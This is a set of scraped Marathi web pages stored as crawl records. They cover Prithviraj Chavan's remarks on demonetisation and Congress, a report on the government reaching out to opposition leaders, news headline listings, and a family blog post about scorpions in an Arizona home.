नेत्यांनी माझ्यावर टीका केली. त्यांच्या टीकेचं मला नवलं वाटलं. पण, सामाजिक कामांना अधिक प्राधान्य देत लोकांच्या वैयक्तिक कामांना फाटा दिला. आता त्यावेळी कुणी कोणत्या फाईली पुढे केलं हे जाहीर करायचं का असा सवालच चव्हाणांनी उपस्थितीत केला. मुख्यमंत्र्यांचे विशेष अधिकार वापरून मी कुणासाठी कामं केली नाहीत, असंही ते ठामपणे म्हणाले.\nमोदी यांनी नोटबंदीचा निर्णय जाहीर केला. सुरुवातीला आम्ही त्यांच्या निर्णय़ाला पाठिंबा दिला. पण ज्यासाठी हा निर्णय घेतला त्याचा हेतूच साध्य झाला नाही. लोकांचे अतोनात हाल झाले. उद्योगधंदे पडले. नोटाबंदीमुळे काळा पैशाला आळा बसलाय का , किती काळा पैसा आला याबद्दल किती पांढरा झाला याबद्दल सरकार माहिती देत नाही. नोटाबंदीमुळे किती कंपन्या बंद पडल्या,किती बेरोजगार झाले याचीही माहिती सरकार देत नाही. त्यामुळे त्याला विरोध करण्यात आम्ही कमी पडलो. कार्यकर्त्यांनी रस्त्यावर उतरायला पाहिजे होते. आंदोलन केलं पाहिजे. पण,काँग्रेस कुठेही पुढे आली नाही. आम्ही विरोधक म्हणून कमी पडलो अशी कबुलीही चव्हाणांनी दिली.\nअजित पवारांशी मतभेद नव्हते\nअजित पवारांचं व्यक्तिमत्व वेगळं होतं. त्यांच्यात आणि माझ्यामध्ये कोणतेही मतभेद नाही. सिंचन प्रकल्पाबाबत खुलासा मागवल्यामुळे मी अजित पवारांच्या विरोधात असल्याचा वाद निर्माण केला गेला असा खुलासाही चव्हाणांनी केला.\nमुंबईत काँग्रेसचं अंडरस्टँडिंग नाही\nकाँग्रेसचं मुंबई पालिका निवडणुकीसाठी कोणतही अंटरस्टँडिंग नाही. सेना आणि भाजप दोघंही मुंबईचं नेतृत्व करण्याच्या लायकीचे नाहीत, अशा शब्दात पृथ्वीराज चव्हाण यांनी टीका केली. तसंच २०१४ मध्ये पवारांनी भाजपला पाठिंबा जाहीर केल्यानंतर मला वेदना झाल्या. विरोधात असलेल्या पक्षाला बिनशर्त पाठिंबा देण्याचं कारणच काय, असंही पृथ्वीबाबा म्हणाले.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला आणि टि्वटरवर फाॅलो करा Follow @ibnlokmattv\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nTags: #न्यूजरुमचर्चाnews room charchaPrithviraj Chavanकाँग्रेसन्यूजरूम चर्चापृथ्वीराज चव्हाण\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00427.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/whats-app/all/page-7/", "date_download": "2018-09-25T16:50:15Z", "digest": "sha1:WFYY33H3CEEB6KVXNW7W5BGROOIJ7XLQ", "length": 10320, "nlines": 139, "source_domain": "lokmat.news18.com", "title": "Whats App- News18 Lokmat Official Website Page-7", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nश्री सिध्दिविनायक गणेश उत्सव, अंबरनाथ\nएकाच वास्तूत दोन देखावे\nप्रेक्षकांचे बाप्पा (भाग 20)\nकिरण म्हसे, नवी मुंबई\nप्रेक्षकांचे बाप्पा (भाग 16)\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00427.warc.wet.gz", "language": "mr", "language_score": 0.86, "bucket": "all"} {"url": "https://lokmat.news18.com/video/article-156191.html", "date_download": "2018-09-25T16:47:44Z", "digest": "sha1:C7RYMHUHMZUS4HDQRHP4QUZR26OYPP4Z", "length": 15181, "nlines": 167, "source_domain": "lokmat.news18.com", "title": "अण्णांची संपूर्ण मुलाखत", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nVIDEO : भिवंडीत गणेश मंडळाच्या कार्यकर्त्यांची तरुणाला घरात घुसून बेदम मारहाण\nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nVIDEO : लातूरमध्ये देशातील ड्रोन फार्मिंगचं पाहिलं प्रात्यक्षिक यशस्वी\nअशोक सराफ सांगतायत त्यांनी केलेली 'बनवाबनवी'\nVIDEO: लालबागच्या राजाच्या विसर्जनावेळी कोळ्यांची बोट उलटली\nVIDEO : 'बाप्पाला नेऊ नका', चिमुरडा ढसाढसा रडला\nVIDEO: गॅलेरीतून खाली डोकावताना 8 वर्षाच्या मुलीचा गेला तोल आणि...\nमहाराष्ट्र 2 days ago\nVIDEO : भाजप आमदाराच्या समर्थकांनीच लावला डीजे,तरुणांची तुफान मारामारी\nVIDEO : पुरात व्हॉल्वो बस गेली वाहून\nVIDEO : पुण्यात ज्ञानप्रबोधिनी शिक्षण संस्थेच्या कार्यकर्त्यांचा जल्लोष\nVIDEO : डीजे-डॉल्बीवरील बंदीमुळे ढोल-ताशा पथकांना लागली लॉटरी\nVIDEO : विश्वास नांगरे पाटलांनी डीजेविरोधात कारवाई करण्याचे दिले संकेत\nVIDEO : पुण्यात डीजेची मागणी, पण सरकारचा विरोध\nमहाराष्ट्र 3 days ago\nVIDEO: 'पवारांनी फसवाफसवी केली तर आम्ही बघून घेऊ', उदयनराजेंची थेट धमकी\nभाजपचा अंतर्गत वाद चव्हाट्यावर, महिला सभापतीलाच धमकावलं, VIDEO VIRAL\nमहाराष्ट्र 3 days ago\nVIDEO: मालेगावात कांदा घसरला, संतप्त शेतकरी रस्त्यावर\nVIRAL VIDEO : डब्बू अंकलनंतर आता 'मनोज अंकल' झाले व्हायरल\nVIDEO लग्नात पाकिट चोरल्याचं सांगितलं म्हणून अल्पवयीन मुलाने केला 7 वर्षाच्या मुलाचा खून\nVIDEO : काश्मीरमध्ये अतिरेक्यांची पोलिसांनाच दहशत, ३ पोलिसांची हत्या\nमहाराष्ट्र 4 days ago\nVIDEO: कोल्हापूरमध्ये बॉलिवूड स्टाईल दरोड्याचा प्रयत्न\nVIDEO : रडणं वाईट म्हणता... हे पाहा रडण्याचे फायदे\nस्पोर्टस 4 days ago\nVIDEO रोहित शर्माने उलगडलं पाकिस्तान विजयाचं रहस्य\nVIDEO : इम्रान खान यांनी पंतप्रधान मोदींना पत्र लिहून केली विनंती\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nमहाराष्ट्र, फोटो गॅलरी, स्पेशल स्टोरी\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\nAsia Cup 2018- धोनी कर्णधार बनताच टीम इंडिया झाली ‘चेन्नई सुपर किंग्स’\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00427.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "http://amp.esakal.com/desh/modi-government-union-minister-vijay-goel-will-meet-opposition-leaders-break-parliament-logjam", "date_download": "2018-09-25T16:45:23Z", "digest": "sha1:6PAWEK4UC7FZXUOX7YZBW3ESUWBPHVTF", "length": 7627, "nlines": 51, "source_domain": "amp.esakal.com", "title": "Modi Government Union minister Vijay Goel will meet Opposition leaders to break Parliament logjam ...म्हणून मोदी सरकार विरोधकांची समजूत काढणार | eSakal", "raw_content": "\n...म्हणून मोदी सरकार विरोधकांची समजूत काढणार\nवृत्तसंस्था | गुरुवार, 22 मार्च 2018\nसभागृहाचे कामकाज बंद पाडले जात आहे. त्या पार्श्वभूमीवर मोदी सरकारकडून विरोधकांची समजूत काढण्याचा प्रयत्न केला जात आहे. यासाठी संसदीय कामकाज राज्यमंत्री विजय गोएल हे स्वत: पुढाकार घेणार असून, प्रमुख विरोधी पक्षांच्या नेत्यांची त्यांच्या निवासस्थानी जाऊन भेट घेणार आहेत.\nनवी दिल्ली : संसदेचे अधिवेशन सुरु असताना विविध मुद्यांवरून विरोधकांकडून आक्रमक पवित्रा घेत सभागृहाचे कामकाज बंद पाडले जात आहे. त्या पार्श्वभूमीवर मोदी सरकारकडून विरोधकांची समजूत काढण्याचा प्रयत्न केला जात आहे. यासाठी संसदीय कामकाज राज्यमंत्री विजय गोएल हे स्वत: पुढाकार घेणार असून, प्रमुख विरोधी पक्षांच्या नेत्यांची त्यांच्या निवासस्थानी जाऊन भेट घेणार आहेत.\nदेशातील विविध मुद्दांवरून मोदी सरकारविरोधात विरोधकांमध्ये तीव्र नाराजी आहे. या नाराजीनुसारच विरोधकांकडून अविश्वास ठराव आणण्यासाठी जोरदार प्रयत्न केले जात आहेत. यासाठी लोकसभेत विरोधकांची मोट बांधण्याचे काम केले जात आहे. संसदेच्या अधिवेशाचे 14 दिवस कोणत्याही चर्चेविना गदारोळात गेले. त्यामुळे मोदी सरकारकडून यावर कडक पावले उचलली जात आहेत.\nगोयल यांनी सांगितले, की ''विरोधक फक्त माध्यमांसमोर बोलत आहेत. मात्र, सभागृहात ते यावर कोणतेही भाष्य, चर्चा करत नाहीत. संसदेचे अधिवेशात प्रति मिनिटासाठी साधारणत: अडीच लाख रुपये खर्च केला जात आहे. विरोधकांनी त्यांचे प्रश्न, त्यांची मते मांडण्यासाठी सभागृहात यायला हवे, यावर चर्चा करावी. मी स्वत: काँग्रेस, द्रमुक, टीडीपी आणि टीआरएस या प्रमुख विरोधी पक्षांच्या नेत्यासोबत त्यांच्या निवासस्थानी जाऊन भेट घेणार आहे.\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nतहसिलचा ताबा घेऊन तेथे आंदोलन करू असा इशारा : राजू देसले\nनांदगाव : तालुक्यातील प्रशासकीय यंत्रणा उदासीन असल्याने न्यायिक हक्काच्या मागण्यासाठी आज काढण्यात आलेला मोर्चा हा शेवटचा असून यापुढे मोर्चा...\nकाँग्रेस पक्ष देशावरचे ओझे : पंतप्रधान\nनवी दिल्ली : ''काँग्रेस पक्ष देशात आघाडी करण्यास अपयशी ठरला आहे. त्यामुळेच ते भारताबाहेरुन पाठिंब्याकडे लक्ष देत आहेत. काँग्रेस पक्ष देशावरचे ओझे आहे...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00428.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://baal-saloni.blogspot.com/2011/08/blog-post.html", "date_download": "2018-09-25T17:48:35Z", "digest": "sha1:4J2RKQZFV7GEFZB567XJOI6L3MXF24AK", "length": 14417, "nlines": 61, "source_domain": "baal-saloni.blogspot.com", "title": "बाल-सलोनी: विंचुपुराण", "raw_content": "\nसलोनीराणी, मागच्या शुक्रवारी मी ऑफिस मध्ये बसलो होतो. घरातलीच एक खोलीचे ऑफिस म्हणुन वापरतो. तर सिद्धु आणि तुझ्या आईने मला जोरजोरात बोलावले. एरवी मी बऱ्यापैकी बहिरा असतो. परंतु आकांत एवढा मोठा की काही विचारता सोय नाही. ऑफिसकडुन किचेन कडे जायला लागलो तर सिद्धु आणि तुझी आई गराजच्या दरवाजापाशी उभे राहुन मला सांगत होते की \"विंचु\" आहे. मी सगळीकडे पाहु लागलो. मला काही दिसेना. \"अरे इकडे\" आई. \"बाबा इथे इथे ..\" सिद्धु. म्हणुन मी ते उभे होते तिकडे जायला लागलो. तर एकदम हलकल्लोळ केल्यासारखे दोघेही काहीतरी सांगु लागले. शेवटी त्यांचा आवाज टीपेला पोहोचला त्यावेळी मला कळले की मी उभा होतो तिथे माझ्या पासुन अर्ध्या फुटावर भिंतीवर विंचु होता. मग काय .. तुझ्या आईचीच एक चांगली चप्पल आणली आणि --- पच्याक\nआताशा इथे विंचवांची सवय झाली आहे. व्ह्यायला नको ... पण काय करणार\nपहिले ६ महिने या घरात चांगले गेले. घरात रहायाला आलो ते ९ महिन्यांपूर्वी. घर चांगलेच आहे. चौघांसाठी पुरेसे असे. सगळ्या गोष्टी जवळ असलेले - सिद्धुची शाळा, दुकाने आणि ओळखीचे लोक इत्यादि. अंगण एकदम चांगले. परंतु मे महिना आला आणि अचानक एके दिवशी कचऱ्याचा डबा (डबा कसला ड्रम) बाहेर नेऊन ठेवत असताना तुझ्या आईला विंचु दिसला. त्यावेळी त्या विंचवाला गाठुन मारेपर्यंत तिचा आणि माझा देखील थरकाप उडालेला) बाहेर नेऊन ठेवत असताना तुझ्या आईला विंचु दिसला. त्यावेळी त्या विंचवाला गाठुन मारेपर्यंत तिचा आणि माझा देखील थरकाप उडालेला नंतर पुढच्या दरवाज्यात ... त्यानंतर मागच्या दरवाज्यात. परत एकदा घरात दारात. हॉलमध्ये भिंतीवर ... पुन्हा बाहेर कचऱ्याच्या डब्यापाशी .... बापरे बाप .. अशी अनेक पिल्ले आढळुन आली. अर्थात त्या सगळ्यांना आकाशातल्या बापाकडे पाठवले हे सांगणे न लगे.\nपरंतु इतके विंचु सापडल्यामुळे आम्ही हैराण झालो. किंबहुना दुसरा विंचु घरात भिंतीवर दिसला त्याचवेळी आपण हादरलो. कारण जे न देखे रवी ... अश्या सर्व जागा तुला बरोबर दिसतात. आणि विंचवांना पण त्याच जागा दिसतात. त्यामुळे कधीतरी तुमची गाठ पडायला नको\nसिद्धु ५ वर्षांचा असताना आपण दुसरीकडे रहात होतो - इथुन एक मैलावर. तिथे त्याला विंचु चावला होता. तो किंचाळला म्हणुन आम्ही पळत लिव्हिंग रुम मध्ये आलो तर कुठे काही दिसेना. आम्हाला कळेना काय चावले. सिद्धुला विचारले तर त्याने नांगीसारखा बोटाचा आकार करुन दाखवला. मग काय आम्ही सगळी खोली पालथी घातली. तरी दिसेना. बाहेर गेला की काय शेवटी मी कोच पालथा केला. तर स्वारी सोफ्याच्या खालच्या भागाला बिलगुन अशी बसली होती की काही केलेच नाही. त्याचा समाचार घेतल्यानंतर ९११ ला फोन केला आणि सांगीतले की मुलाला विंचु चावला आहे तर काय करायचे. तर त्यांनी विचारले \"विंचवाचा रंग काय होता - पिवळसर की काळा शेवटी मी कोच पालथा केला. तर स्वारी सोफ्याच्या खालच्या भागाला बिलगुन अशी बसली होती की काही केलेच नाही. त्याचा समाचार घेतल्यानंतर ९११ ला फोन केला आणि सांगीतले की मुलाला विंचु चावला आहे तर काय करायचे. तर त्यांनी विचारले \"विंचवाचा रंग काय होता - पिवळसर की काळा\". म्हटले - \"पिवळसर\". \"मग काळजीचे कारण नाही\" - ९११. पिवळसर विंचु अ‍ॅरिझोनामध्ये चिक्कार. त्यांना बार्क विंचु म्हणतात. ते प्राणघातक नसतात. परंतु दंश केला तर दाह होतो. त्यामुळे फक्त साबणाने धुतले आणि बर्फाने चोळले तर थोडे बरे वाटते. सिद्धु तसा मुळचाच सोशिक असल्यामुळे तसा नाही रडला खुप.\nअसो तर त्या अनुभवामुळे आईने मला एका पेस्ट कंट्रोल वाल्याकडे पिटाळले. त्याने शंभर पद्धतीची औषधे आणि ती फवारण्याची यंत्रे दाखवली. मी सगळे एकदम ऑल क्लिअर आहे असे त्याला सांगीतले पण मला हे अमेरिकेतील डिआयवाय इथे करायला आवडले नसते. डिआयवाय म्हणजे \"डू-इट-युवरसेल्फ\". म्हणजे स्वावलंबन मी त्याच्या दुकानातुन पळ काढायला लागलो तर तो म्हणाला, \"मागच्या आठवड्यात एक बाई तिच्या भावाच्या घरी गेली. तिचे लहान मुल त्या घराच्या पुढ्यात खेळत असताना त्याला विंचु चावला. तर त्याला हेलिकॉप्टरने इथल्या हॉस्पिटलमध्ये आणले. १५ दिवस ते बाळ जायबंदी झाले होते. आता हळुहळु बरे होते आहे. परंतु आई वडिलांवर आता दीड लाख डॉलर्सचे कर्ज झाले आहे मी त्याच्या दुकानातुन पळ काढायला लागलो तर तो म्हणाला, \"मागच्या आठवड्यात एक बाई तिच्या भावाच्या घरी गेली. तिचे लहान मुल त्या घराच्या पुढ्यात खेळत असताना त्याला विंचु चावला. तर त्याला हेलिकॉप्टरने इथल्या हॉस्पिटलमध्ये आणले. १५ दिवस ते बाळ जायबंदी झाले होते. आता हळुहळु बरे होते आहे. परंतु आई वडिलांवर आता दीड लाख डॉलर्सचे कर्ज झाले आहे\". \"तुमच्या बायकोला अजिबात सांगु नका\" - हे सांगायला विसरला नाही.\nपरंतु विंचु-कन्ट्रोल ही माझी खासियत नसल्यामुळे त्याच्या विक्रीकौशल्याचा उपयोग झाला नाही आणि अखेर इको-फर्स्ट नावाच्या कंपनीला आपण वर्षभराचे पैसे देऊन आपल्या घरात आणि आवारात विंचुविरोधक औषधे मारुन घेतली.\nअर्थात त्याच्या आधी एका दुकानातुन बरीचसे स्प्रेज, औषधे आणि सर्वात महत्वाचे म्हणजे ब्लॅकलाईट म्हणजे अतिनील किरणांचा (युव्ही रेज) टॉर्च आणला. अंधारात विंचवांवर ब्लॅकलाईट चा प्रकाश पडला तर अगदी किरणोत्सर्ग करत असल्यासारखे विंचु चमकु लागतात. \"विंचु असेल तर दिसणार नाही असे होणारच नाही\" इति लोज मधला विक्रेता अर्थात त्याचा पडताळा घेण्यासाठी आम्हाला फार काळ जावा लागलाच नाही. दोन-चार दिवसातच अगदी हॉलमधल्या भिंतीवर विंचु दिसला. त्याला मारता मारता तो खाली पडला आणि सोफ्याच्या खाली जाऊन लपला. सिद्धोबाच्या अनुभवानंतर आम्ही सुपर स्मार्ट झालो असल्यामुळे विंचोबांना सोफ्याखाली हेरले आणि ठेचले. ब्लॅकलाईट झिंदाबाद.\nएकंदरीतच अ‍ॅरिझोनामध्ये विंचु भरपुर आहेत. आणि उन्हाळ्यात ते थंड जागेच्या शोधात घरात येण्याचा प्रयत्न करतात. दरवाजे खिडक्या कुठेही थोडी जरी फट असेल तरीही त्यांना पुरते. १/१६ इंच फटीतुनदेखील ते आपले शरीर सपाट करुन आत प्रवेश करु शकतात. दुसरे म्हणजे कुठल्याही सांदीसपाटीत असे काही दुमडुन बसतात की वाटावे की पाला पाचोळा पडला आहे. तिसरे म्हणजे अगदी दिसले तरी कळत नाही की जिवंत आहे असे वाटतच नाही. माझ्या घरातल्या ऑफिसमध्ये बरेच विंचु सापडले. माझ्यापासुन दोन फुटावर मी तास दोन तास फोनवर बोलतोय आणि हे महाशय खाली जमीनीवर झोपा काढताहेत. शेवटी कधी तरी माझे लक्ष गेले.\nअसो.. परंतु असे तिसऱ्यांदा घडल्यावर आता मात्र इको-फर्स्ट च्या लोकांना घराच्या आतुन बाहेरुन रसायने आणि औषधे यांचा अगदी सडा टाकला आहे. त्यामुळे आम्ही निश्चिंत झालो खरे .... परंतु ही निश्चंती काही तासच टिकली. आज सकाळीच छतावर एक इंचाचे विंचवाचे पिल्लु सापडले तीच जागा राहिली होती म्हणा तीच जागा राहिली होती म्हणा तिथेदेखील आता विंचु सापडल्यामुळे आता झोप लागणे कठीण आहे\nमी ही दोनदा विंचवाचा अनुभव घेतला. सुदैवाने चावलाबिवला नाही. पण इतकी घाबरले की अपार्टमेंट वाल्यांना कामाला लावूनच थांबले. :) आणि मोठाले कोळीही फारच सापडत राहतात. त्यांचीही फार भीती वाटत राहते.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00428.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://lokmat.news18.com/national/timeline-of-two-g-spectrum-277599.html", "date_download": "2018-09-25T16:56:49Z", "digest": "sha1:WR75AXEM5DVKCHI5RSJTVFGQPSHTNJDB", "length": 17454, "nlines": 152, "source_domain": "lokmat.news18.com", "title": 